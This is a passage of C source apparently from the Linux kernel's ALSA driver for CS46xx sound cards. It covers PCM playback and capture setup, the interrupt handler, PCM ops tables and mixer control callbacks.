DSP_PCM_CENTER_LFE_CHANNEL) { substream->ops = &snd_cs46xx_playback_clfe_ops; } else if (cpcm->pcm_channel_id == DSP_IEC958_CHANNEL) { substream->ops = &snd_cs46xx_playback_iec958_ops; } else { snd_BUG(); } #else substream->ops = &snd_cs46xx_playback_ops; #endif } else { if (runtime->dma_area == cpcm->hw_buf.area) { runtime->dma_area = NULL; runtime->dma_addr = 0; runtime->dma_bytes = 0; } if ((err = snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params))) < 0) { #ifdef CONFIG_SND_CS46XX_NEW_DSP mutex_unlock(&chip->spos_mutex); #endif return err; } #ifdef CONFIG_SND_CS46XX_NEW_DSP if (cpcm->pcm_channel_id == DSP_PCM_MAIN_CHANNEL) { substream->ops = &snd_cs46xx_playback_indirect_ops; } else if (cpcm->pcm_channel_id == DSP_PCM_REAR_CHANNEL) { substream->ops = &snd_cs46xx_playback_indirect_rear_ops; } else if (cpcm->pcm_channel_id == DSP_PCM_CENTER_LFE_CHANNEL) { substream->ops = &snd_cs46xx_playback_indirect_clfe_ops; } else if (cpcm->pcm_channel_id == DSP_IEC958_CHANNEL) { substream->ops = &snd_cs46xx_playback_indirect_iec958_ops; } else { snd_BUG(); } #else substream->ops = &snd_cs46xx_playback_indirect_ops; #endif } #ifdef CONFIG_SND_CS46XX_NEW_DSP mutex_unlock(&chip->spos_mutex); #endif return 0; } static int snd_cs46xx_playback_hw_free(struct snd_pcm_substream *substream) { /*struct snd_cs46xx *chip = snd_pcm_substream_chip(substream);*/ struct snd_pcm_runtime *runtime = substream->runtime; struct snd_cs46xx_pcm *cpcm; cpcm = runtime->private_data; /* if play_back open fails, then this function is called and cpcm can actually be NULL here */ if (!cpcm) return -ENXIO; if (runtime->dma_area != cpcm->hw_buf.area) snd_pcm_lib_free_pages(substream); runtime->dma_area = NULL; runtime->dma_addr = 0; runtime->dma_bytes = 0; return 0; } static int snd_cs46xx_playback_prepare(struct snd_pcm_substream *substream) { unsigned int tmp; unsigned int pfie; struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); struct snd_pcm_runtime *runtime = substream->runtime; struct snd_cs46xx_pcm *cpcm; cpcm = runtime->private_data; #ifdef CONFIG_SND_CS46XX_NEW_DSP if (snd_BUG_ON(!cpcm->pcm_channel)) return -ENXIO; pfie = snd_cs46xx_peek(chip, (cpcm->pcm_channel->pcm_reader_scb->address + 1) << 2 ); pfie &= ~0x0000f03f; #else /* old dsp */ pfie = snd_cs46xx_peek(chip, BA1_PFIE); pfie &= ~0x0000f03f; #endif cpcm->shift = 2; /* if to convert from stereo to mono */ if (runtime->channels == 1) { cpcm->shift--; pfie |= 0x00002000; } /* if to convert from 8 bit to 16 bit */ if (snd_pcm_format_width(runtime->format) == 8) { cpcm->shift--; pfie |= 0x00001000; } /* if to convert to unsigned */ if (snd_pcm_format_unsigned(runtime->format)) pfie |= 0x00008000; /* Never convert byte order when sample stream is 8 bit */ if (snd_pcm_format_width(runtime->format) != 8) { /* convert from big endian to little endian */ if (snd_pcm_format_big_endian(runtime->format)) pfie |= 0x00004000; } memset(&cpcm->pcm_rec, 0, sizeof(cpcm->pcm_rec)); cpcm->pcm_rec.sw_buffer_size = snd_pcm_lib_buffer_bytes(substream); cpcm->pcm_rec.hw_buffer_size = runtime->period_size * CS46XX_FRAGS << cpcm->shift; #ifdef CONFIG_SND_CS46XX_NEW_DSP tmp = snd_cs46xx_peek(chip, (cpcm->pcm_channel->pcm_reader_scb->address) << 2); tmp &= ~0x000003ff; tmp |= (4 << cpcm->shift) - 1; /* playback transaction count register */ snd_cs46xx_poke(chip, (cpcm->pcm_channel->pcm_reader_scb->address) << 2, tmp); /* playback format && interrupt enable */ snd_cs46xx_poke(chip, (cpcm->pcm_channel->pcm_reader_scb->address + 1) << 2, pfie | cpcm->pcm_channel->pcm_slot); #else snd_cs46xx_poke(chip, BA1_PBA, cpcm->hw_buf.addr); tmp = snd_cs46xx_peek(chip, BA1_PDTC); tmp &= ~0x000003ff; tmp |= (4 << cpcm->shift) - 1; snd_cs46xx_poke(chip, BA1_PDTC, tmp); snd_cs46xx_poke(chip, BA1_PFIE, pfie); snd_cs46xx_set_play_sample_rate(chip, runtime->rate); #endif return 0; } static int snd_cs46xx_capture_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); struct snd_pcm_runtime *runtime = substream->runtime; int err; #ifdef CONFIG_SND_CS46XX_NEW_DSP cs46xx_dsp_pcm_ostream_set_period (chip, params_period_bytes(hw_params)); #endif if (runtime->periods == CS46XX_FRAGS) { if (runtime->dma_area != chip->capt.hw_buf.area) snd_pcm_lib_free_pages(substream); runtime->dma_area = chip->capt.hw_buf.area; runtime->dma_addr = chip->capt.hw_buf.addr; runtime->dma_bytes = chip->capt.hw_buf.bytes; substream->ops = &snd_cs46xx_capture_ops; } else { if (runtime->dma_area == chip->capt.hw_buf.area) { runtime->dma_area = NULL; runtime->dma_addr = 0; runtime->dma_bytes = 0; } if ((err = snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params))) < 0) return err; substream->ops = &snd_cs46xx_capture_indirect_ops; } return 0; } static int snd_cs46xx_capture_hw_free(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); struct snd_pcm_runtime *runtime = substream->runtime; if (runtime->dma_area != chip->capt.hw_buf.area) snd_pcm_lib_free_pages(substream); runtime->dma_area = NULL; runtime->dma_addr = 0; runtime->dma_bytes = 0; return 0; } static int snd_cs46xx_capture_prepare(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); struct snd_pcm_runtime *runtime = substream->runtime; snd_cs46xx_poke(chip, BA1_CBA, chip->capt.hw_buf.addr); chip->capt.shift = 2; memset(&chip->capt.pcm_rec, 0, sizeof(chip->capt.pcm_rec)); chip->capt.pcm_rec.sw_buffer_size = snd_pcm_lib_buffer_bytes(substream); chip->capt.pcm_rec.hw_buffer_size = runtime->period_size * CS46XX_FRAGS << 2; snd_cs46xx_set_capture_sample_rate(chip, runtime->rate); return 0; } static irqreturn_t snd_cs46xx_interrupt(int irq, void *dev_id) { struct snd_cs46xx *chip = dev_id; u32 status1; #ifdef CONFIG_SND_CS46XX_NEW_DSP struct dsp_spos_instance * ins = chip->dsp_spos_instance; u32 status2; int i; struct snd_cs46xx_pcm *cpcm = NULL; #endif /* * Read the Interrupt Status Register to clear the interrupt */ status1 = snd_cs46xx_peekBA0(chip, BA0_HISR); if ((status1 & 0x7fffffff) == 0) { snd_cs46xx_pokeBA0(chip, BA0_HICR, HICR_CHGM | HICR_IEV); return IRQ_NONE; } #ifdef CONFIG_SND_CS46XX_NEW_DSP status2 = snd_cs46xx_peekBA0(chip, BA0_HSR0); for (i = 0; i < DSP_MAX_PCM_CHANNELS; ++i) { if (i <= 15) { if ( status1 & (1 << i) ) { if (i == CS46XX_DSP_CAPTURE_CHANNEL) { if (chip->capt.substream) snd_pcm_period_elapsed(chip->capt.substream); } else { if (ins->pcm_channels[i].active && ins->pcm_channels[i].private_data && !ins->pcm_channels[i].unlinked) { cpcm = ins->pcm_channels[i].private_data; snd_pcm_period_elapsed(cpcm->substream); } } } } else { if ( status2 & (1 << (i - 16))) { if (ins->pcm_channels[i].active && ins->pcm_channels[i].private_data && !ins->pcm_channels[i].unlinked) { cpcm = ins->pcm_channels[i].private_data; snd_pcm_period_elapsed(cpcm->substream); } } } } #else /* old dsp */ if ((status1 & HISR_VC0) && chip->playback_pcm) { if (chip->playback_pcm->substream) snd_pcm_period_elapsed(chip->playback_pcm->substream); } if ((status1 & HISR_VC1) && chip->pcm) { if (chip->capt.substream) snd_pcm_period_elapsed(chip->capt.substream); } #endif if ((status1 & HISR_MIDI) && chip->rmidi) { unsigned char c; spin_lock(&chip->reg_lock); while ((snd_cs46xx_peekBA0(chip, BA0_MIDSR) & MIDSR_RBE) == 0) { c = snd_cs46xx_peekBA0(chip, BA0_MIDRP); if ((chip->midcr & MIDCR_RIE) == 0) continue; snd_rawmidi_receive(chip->midi_input, &c, 1); } while ((snd_cs46xx_peekBA0(chip, BA0_MIDSR) & MIDSR_TBF) == 0) { if ((chip->midcr & MIDCR_TIE) == 0) break; if (snd_rawmidi_transmit(chip->midi_output, &c, 1) != 1) { chip->midcr &= ~MIDCR_TIE; snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); break; } snd_cs46xx_pokeBA0(chip, BA0_MIDWP, c); } spin_unlock(&chip->reg_lock); } /* * EOI to the PCI part....reenables interrupts */ snd_cs46xx_pokeBA0(chip, BA0_HICR, HICR_CHGM | HICR_IEV); return IRQ_HANDLED; } static const struct snd_pcm_hardware snd_cs46xx_playback = { .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_BLOCK_TRANSFER /*|*/ /*SNDRV_PCM_INFO_RESUME*/ | SNDRV_PCM_INFO_SYNC_APPLPTR), .formats = (SNDRV_PCM_FMTBIT_S8 | SNDRV_PCM_FMTBIT_U8 | SNDRV_PCM_FMTBIT_S16_LE | SNDRV_PCM_FMTBIT_S16_BE | SNDRV_PCM_FMTBIT_U16_LE | SNDRV_PCM_FMTBIT_U16_BE), .rates = SNDRV_PCM_RATE_CONTINUOUS | SNDRV_PCM_RATE_8000_48000, .rate_min = 5500, .rate_max = 48000, .channels_min = 1, .channels_max = 2, .buffer_bytes_max = (256 * 1024), .period_bytes_min = CS46XX_MIN_PERIOD_SIZE, .period_bytes_max = CS46XX_MAX_PERIOD_SIZE, .periods_min = CS46XX_FRAGS, .periods_max = 1024, .fifo_size = 0, }; static const struct snd_pcm_hardware snd_cs46xx_capture = { .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_BLOCK_TRANSFER /*|*/ /*SNDRV_PCM_INFO_RESUME*/ | SNDRV_PCM_INFO_SYNC_APPLPTR), .formats = SNDRV_PCM_FMTBIT_S16_LE, .rates = SNDRV_PCM_RATE_CONTINUOUS | SNDRV_PCM_RATE_8000_48000, .rate_min = 5500, .rate_max = 48000, .channels_min = 2, .channels_max = 2, .buffer_bytes_max = (256 * 1024), .period_bytes_min = CS46XX_MIN_PERIOD_SIZE, .period_bytes_max = CS46XX_MAX_PERIOD_SIZE, .periods_min = CS46XX_FRAGS, .periods_max = 1024, .fifo_size = 0, }; #ifdef CONFIG_SND_CS46XX_NEW_DSP static const unsigned int period_sizes[] = { 32, 64, 128, 256, 512, 1024, 2048 }; static const struct snd_pcm_hw_constraint_list hw_constraints_period_sizes = { .count = ARRAY_SIZE(period_sizes), .list = period_sizes, .mask = 0 }; #endif static void snd_cs46xx_pcm_free_substream(struct snd_pcm_runtime *runtime) { kfree(runtime->private_data); } static int _cs46xx_playback_open_channel (struct snd_pcm_substream *substream,int pcm_channel_id) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); struct snd_cs46xx_pcm * cpcm; struct snd_pcm_runtime *runtime = substream->runtime; cpcm = kzalloc(sizeof(*cpcm), GFP_KERNEL); if (cpcm == NULL) return -ENOMEM; if (snd_dma_alloc_pages(SNDRV_DMA_TYPE_DEV, &chip->pci->dev, PAGE_SIZE, &cpcm->hw_buf) < 0) { kfree(cpcm); return -ENOMEM; } runtime->hw = snd_cs46xx_playback; runtime->private_data = cpcm; runtime->private_free = snd_cs46xx_pcm_free_substream; cpcm->substream = substream; #ifdef CONFIG_SND_CS46XX_NEW_DSP mutex_lock(&chip->spos_mutex); cpcm->pcm_channel = NULL; cpcm->pcm_channel_id = pcm_channel_id; snd_pcm_hw_constraint_list(runtime, 0, SNDRV_PCM_HW_PARAM_PERIOD_BYTES, &hw_constraints_period_sizes); mutex_unlock(&chip->spos_mutex); #else chip->playback_pcm = cpcm; /* HACK */ #endif if (chip->accept_valid) substream->runtime->hw.info |= SNDRV_PCM_INFO_MMAP_VALID; chip->active_ctrl(chip, 1); return 0; } static int snd_cs46xx_playback_open(struct snd_pcm_substream *substream) { dev_dbg(substream->pcm->card->dev, "open front channel\n"); return _cs46xx_playback_open_channel(substream,DSP_PCM_MAIN_CHANNEL); } #ifdef CONFIG_SND_CS46XX_NEW_DSP static int snd_cs46xx_playback_open_rear(struct snd_pcm_substream *substream) { dev_dbg(substream->pcm->card->dev, "open rear channel\n"); return _cs46xx_playback_open_channel(substream,DSP_PCM_REAR_CHANNEL); } static int snd_cs46xx_playback_open_clfe(struct snd_pcm_substream *substream) { dev_dbg(substream->pcm->card->dev, "open center - LFE channel\n"); return _cs46xx_playback_open_channel(substream,DSP_PCM_CENTER_LFE_CHANNEL); } static int snd_cs46xx_playback_open_iec958(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); dev_dbg(chip->card->dev, "open raw iec958 channel\n"); mutex_lock(&chip->spos_mutex); cs46xx_iec958_pre_open (chip); mutex_unlock(&chip->spos_mutex); return _cs46xx_playback_open_channel(substream,DSP_IEC958_CHANNEL); } static int snd_cs46xx_playback_close(struct snd_pcm_substream *substream); static int snd_cs46xx_playback_close_iec958(struct snd_pcm_substream *substream) { int err; struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); dev_dbg(chip->card->dev, "close raw iec958 channel\n"); err = snd_cs46xx_playback_close(substream); mutex_lock(&chip->spos_mutex); cs46xx_iec958_post_close (chip); mutex_unlock(&chip->spos_mutex); return err; } #endif static int snd_cs46xx_capture_open(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); if (snd_dma_alloc_pages(SNDRV_DMA_TYPE_DEV, &chip->pci->dev, PAGE_SIZE, &chip->capt.hw_buf) < 0) return -ENOMEM; chip->capt.substream = substream; substream->runtime->hw = snd_cs46xx_capture; if (chip->accept_valid) substream->runtime->hw.info |= SNDRV_PCM_INFO_MMAP_VALID; chip->active_ctrl(chip, 1); #ifdef CONFIG_SND_CS46XX_NEW_DSP snd_pcm_hw_constraint_list(substream->runtime, 0, SNDRV_PCM_HW_PARAM_PERIOD_BYTES, &hw_constraints_period_sizes); #endif return 0; } static int snd_cs46xx_playback_close(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); struct snd_pcm_runtime *runtime = substream->runtime; struct snd_cs46xx_pcm * cpcm; cpcm = runtime->private_data; /* when playback_open fails, then cpcm can be NULL */ if (!cpcm) return -ENXIO; #ifdef CONFIG_SND_CS46XX_NEW_DSP mutex_lock(&chip->spos_mutex); if (cpcm->pcm_channel) { cs46xx_dsp_destroy_pcm_channel(chip,cpcm->pcm_channel); cpcm->pcm_channel = NULL; } mutex_unlock(&chip->spos_mutex); #else chip->playback_pcm = NULL; #endif cpcm->substream = NULL; snd_dma_free_pages(&cpcm->hw_buf); chip->active_ctrl(chip, -1); return 0; } static int snd_cs46xx_capture_close(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); chip->capt.substream = NULL; snd_dma_free_pages(&chip->capt.hw_buf); chip->active_ctrl(chip, -1); return 0; } #ifdef CONFIG_SND_CS46XX_NEW_DSP static const struct snd_pcm_ops snd_cs46xx_playback_rear_ops = { .open = snd_cs46xx_playback_open_rear, .close = snd_cs46xx_playback_close, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_direct_pointer, }; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_rear_ops = { .open = snd_cs46xx_playback_open_rear, .close = snd_cs46xx_playback_close, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_indirect_pointer, .ack = snd_cs46xx_playback_transfer, }; static const struct snd_pcm_ops snd_cs46xx_playback_clfe_ops = { .open = snd_cs46xx_playback_open_clfe, .close = snd_cs46xx_playback_close, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_direct_pointer, }; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_clfe_ops = { .open = snd_cs46xx_playback_open_clfe, .close = snd_cs46xx_playback_close, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_indirect_pointer, .ack = snd_cs46xx_playback_transfer, }; static const struct snd_pcm_ops snd_cs46xx_playback_iec958_ops = { .open = snd_cs46xx_playback_open_iec958, .close = snd_cs46xx_playback_close_iec958, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_direct_pointer, }; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_iec958_ops = { .open = snd_cs46xx_playback_open_iec958, .close = snd_cs46xx_playback_close_iec958, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_indirect_pointer, .ack = snd_cs46xx_playback_transfer, }; #endif static const struct snd_pcm_ops snd_cs46xx_playback_ops = { .open = snd_cs46xx_playback_open, .close = snd_cs46xx_playback_close, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_direct_pointer, }; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_ops = { .open = snd_cs46xx_playback_open, .close = snd_cs46xx_playback_close, .hw_params = snd_cs46xx_playback_hw_params, .hw_free = snd_cs46xx_playback_hw_free, .prepare = snd_cs46xx_playback_prepare, .trigger = snd_cs46xx_playback_trigger, .pointer = snd_cs46xx_playback_indirect_pointer, .ack = snd_cs46xx_playback_transfer, }; static const struct snd_pcm_ops snd_cs46xx_capture_ops = { .open = snd_cs46xx_capture_open, .close = snd_cs46xx_capture_close, .hw_params = snd_cs46xx_capture_hw_params, .hw_free = snd_cs46xx_capture_hw_free, .prepare = snd_cs46xx_capture_prepare, .trigger = snd_cs46xx_capture_trigger, .pointer = snd_cs46xx_capture_direct_pointer, }; static const struct snd_pcm_ops snd_cs46xx_capture_indirect_ops = { .open = snd_cs46xx_capture_open, .close = snd_cs46xx_capture_close, .hw_params = snd_cs46xx_capture_hw_params, .hw_free = snd_cs46xx_capture_hw_free, .prepare = snd_cs46xx_capture_prepare, .trigger = snd_cs46xx_capture_trigger, .pointer = snd_cs46xx_capture_indirect_pointer, .ack = snd_cs46xx_capture_transfer, }; #ifdef CONFIG_SND_CS46XX_NEW_DSP #define MAX_PLAYBACK_CHANNELS (DSP_MAX_PCM_CHANNELS - 1) #else #define MAX_PLAYBACK_CHANNELS 1 #endif int snd_cs46xx_pcm(struct snd_cs46xx *chip, int device) { struct snd_pcm *pcm; int err; if ((err = snd_pcm_new(chip->card, "CS46xx", device, MAX_PLAYBACK_CHANNELS, 1, &pcm)) < 0) return err; pcm->private_data = chip; snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &snd_cs46xx_playback_ops); snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_CAPTURE, &snd_cs46xx_capture_ops); /* global setup */ pcm->info_flags = 0; strcpy(pcm->name, "CS46xx"); chip->pcm = pcm; snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_DEV, &chip->pci->dev, 64*1024, 256*1024); return 0; } #ifdef CONFIG_SND_CS46XX_NEW_DSP int snd_cs46xx_pcm_rear(struct snd_cs46xx *chip, int device) { struct snd_pcm *pcm; int err; if ((err = snd_pcm_new(chip->card, "CS46xx - Rear", device, MAX_PLAYBACK_CHANNELS, 0, &pcm)) < 0) return err; pcm->private_data = chip; snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &snd_cs46xx_playback_rear_ops); /* global setup */ pcm->info_flags = 0; strcpy(pcm->name, "CS46xx - Rear"); chip->pcm_rear = pcm; snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_DEV, &chip->pci->dev, 64*1024, 256*1024); return 0; } int snd_cs46xx_pcm_center_lfe(struct snd_cs46xx *chip, int device) { struct snd_pcm *pcm; int err; if ((err = snd_pcm_new(chip->card, "CS46xx - Center LFE", device, MAX_PLAYBACK_CHANNELS, 0, &pcm)) < 0) return err; pcm->private_data = chip; snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &snd_cs46xx_playback_clfe_ops); /* global setup */ pcm->info_flags = 0; strcpy(pcm->name, "CS46xx - Center LFE"); chip->pcm_center_lfe = pcm; snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_DEV, &chip->pci->dev, 64*1024, 256*1024); return 0; } int snd_cs46xx_pcm_iec958(struct snd_cs46xx *chip, int device) { struct snd_pcm *pcm; int err; if ((err = snd_pcm_new(chip->card, "CS46xx - IEC958", device, 1, 0, &pcm)) < 0) return err; pcm->private_data = chip; snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &snd_cs46xx_playback_iec958_ops); /* global setup */ pcm->info_flags = 0; strcpy(pcm->name, "CS46xx - IEC958"); chip->pcm_iec958 = pcm; snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_DEV, &chip->pci->dev, 64*1024, 256*1024); return 0; } #endif /* * Mixer routines */ static void snd_cs46xx_mixer_free_ac97_bus(struct snd_ac97_bus *bus) { struct snd_cs46xx *chip = bus->private_data; chip->ac97_bus = NULL; } static void snd_cs46xx_mixer_free_ac97(struct snd_ac97 *ac97) { struct snd_cs46xx *chip = ac97->private_data; if (snd_BUG_ON(ac97 != chip->ac97[CS46XX_PRIMARY_CODEC_INDEX] && ac97 != chip->ac97[CS46XX_SECONDARY_CODEC_INDEX])) return; if (ac97 == chip->ac97[CS46XX_PRIMARY_CODEC_INDEX]) { chip->ac97[CS46XX_PRIMARY_CODEC_INDEX] = NULL; chip->eapd_switch = NULL; } else chip->ac97[CS46XX_SECONDARY_CODEC_INDEX] = NULL; } static int snd_cs46xx_vol_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo) { uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER; uinfo->count = 2; uinfo->value.integer.min = 0; uinfo->value.integer.max = 0x7fff; return 0; } static int snd_cs46xx_vol_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int reg = kcontrol->private_value; unsigned int val = snd_cs46xx_peek(chip, reg); ucontrol->value.integer.value[0] = 0xffff - (val >> 16); ucontrol->value.integer.value[1] = 0xffff - (val & 0xffff); return 0; } static int snd_cs46xx_vol_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int reg = kcontrol->private_value; unsigned int val = ((0xffff - ucontrol->value.integer.value[0]) << 16 | (0xffff - ucontrol->value.integer.value[1])); unsigned int old = snd_cs46xx_peek(chip, reg); int change = (old != val); if (change) { snd_cs46xx_poke(chip, reg, val); } return change; } #ifdef CONFIG_SND_CS46XX_NEW_DSP static int snd_cs46xx_vol_dac_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); ucontrol->value.integer.value[0] = chip->dsp_spos_instance->dac_volume_left; ucontrol->value.integer.value[1] = chip->dsp_spos_instance->dac_volume_right; return 0; } static int snd_cs46xx_vol_dac_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int change = 0; if (chip->dsp_spos_instance->dac_volume_right != ucontrol->value.integer.value[0] || chip->dsp_spos_instance->dac_volume_left != ucontrol->value.integer.value[1]) { cs46xx_dsp_set_dac_volume(chip, ucontrol->value.integer.value[0], ucontrol->value.integer.value[1]); change = 1; } return change; } #if 0 static int snd_cs46xx_vol_iec958_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); ucontrol->value.integer.value[0] = chip->dsp_spos_instance->spdif_input_volume_left; ucontrol->value.integer.value[1] = chip->dsp_spos_instance->spdif_input_volume_right; return 0; } static int snd_cs46xx_vol_iec958_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int change = 0; if (chip->dsp_spos_instance->spdif_input_volume_left != ucontrol->value.integer.value[0] || chip->dsp_spos_instance->spdif_input_volume_right!= ucontrol->value.integer.value[1]) { cs46xx_dsp_set_iec958_volume (chip, ucontrol->value.integer.value[0], ucontrol->value.integer.value[1]); change = 1; } return change; } #endif #define snd_mixer_boolean_info snd_ctl_boolean_mono_info static int snd_cs46xx_iec958_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int reg = kcontrol->private_value; if (reg == CS46XX_MIXER_SPDIF_OUTPUT_ELEMENT) ucontrol->value.integer.value[0] = (chip->dsp_spos_instance->spdif_status_out & DSP_SPDIF_STATUS_OUTPUT_ENABLED); else ucontrol->value.integer.value[0] = chip->dsp_spos_instance->spdif_status_in; return 0; } static int snd_cs46xx_iec958_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int change, res; switch (kcontrol->private_value) { case CS46XX_MIXER_SPDIF_OUTPUT_ELEMENT: mutex_lock(&chip->spos_mutex); change = (chip->dsp_spos_instance->spdif_status_out & DSP_SPDIF_STATUS_OUTPUT_ENABLED); if (ucontrol->value.integer.value[0] && !change) cs46xx_dsp_enable_spdif_out(chip); else if (change && !ucontrol->value.integer.value[0]) cs46xx_dsp_disable_spdif_out(chip); res = (change != (chip->dsp_spos_instance->spdif_status_out & DSP_SPDIF_STATUS_OUTPUT_ENABLED)); mutex_unlock(&chip->spos_mutex); break; case CS46XX_MIXER_SPDIF_INPUT_ELEMENT: change = chip->dsp_spos_instance->spdif_status_in; if (ucontrol->value.integer.value[0] && !change) { cs46xx_dsp_enable_spdif_in(chip); /* restore volume */ } else if (change && !ucontrol->value.integer.value[0]) cs46xx_dsp_disable_spdif_in(chip); res = (change != chip->dsp_spos_instance->spdif_status_in); break; default: res = -EINVAL; snd_BUG(); /* should never happen ... */ } return res; } static int snd_cs46xx_adc_capture_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; if (ins->adc_input != NULL) ucontrol->value.integer.value[0] = 1; else ucontrol->value.integer.value[0] = 0; return 0; } static int snd_cs46xx_adc_capture_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; int change = 0; if (ucontrol->value.integer.value[0] && !ins->adc_input) { cs46xx_dsp_enable_adc_capture(chip); change = 1; } else if (!ucontrol->value.integer.value[0] && ins->adc_input) { cs46xx_dsp_disable_adc_capture(chip); change = 1; } return change; } static int snd_cs46xx_pcm_capture_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; if (ins->pcm_input != NULL) ucontrol->value.integer.value[0] = 1; else ucontrol->value.integer.value[0] = 0; return 0; } static int snd_cs46xx_pcm_capture_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; int change = 0; if (ucontrol->value.integer.value[0] && !ins->pcm_input) { cs46xx_dsp_enable_pcm_capture(chip); change = 1; } else if (!ucontrol->value.integer.value[0] && ins->pcm_input) { cs46xx_dsp_disable_pcm_capture(chip); change = 1; } return change; } static int snd_herc_spdif_select_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int val1 = snd_cs46xx_peekBA0(chip, BA0_EGPIODR); if (val1 & EGPIODR_GPOE0) ucontrol->value.integer.value[0] = 1; else ucontrol->value.integer.value[0] = 0; return 0; } /* * Game Theatre XP card - EGPIO[0] is used to select SPDIF input optical or coaxial. */ static int snd_herc_spdif_select_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); int val1 = snd_cs46xx_peekBA0(chip, BA0_EGPIODR); int val2 = snd_cs46xx_peekBA0(chip, BA0_EGPIOPTR); if (ucontrol->value.integer.value[0]) { /* optical is default */ snd_cs46xx_pokeBA0(chip, BA0_EGPIODR, EGPIODR_GPOE0 | val1); /* enable EGPIO0 output */ snd_cs46xx_pokeBA0(chip, BA0_EGPIOPTR, 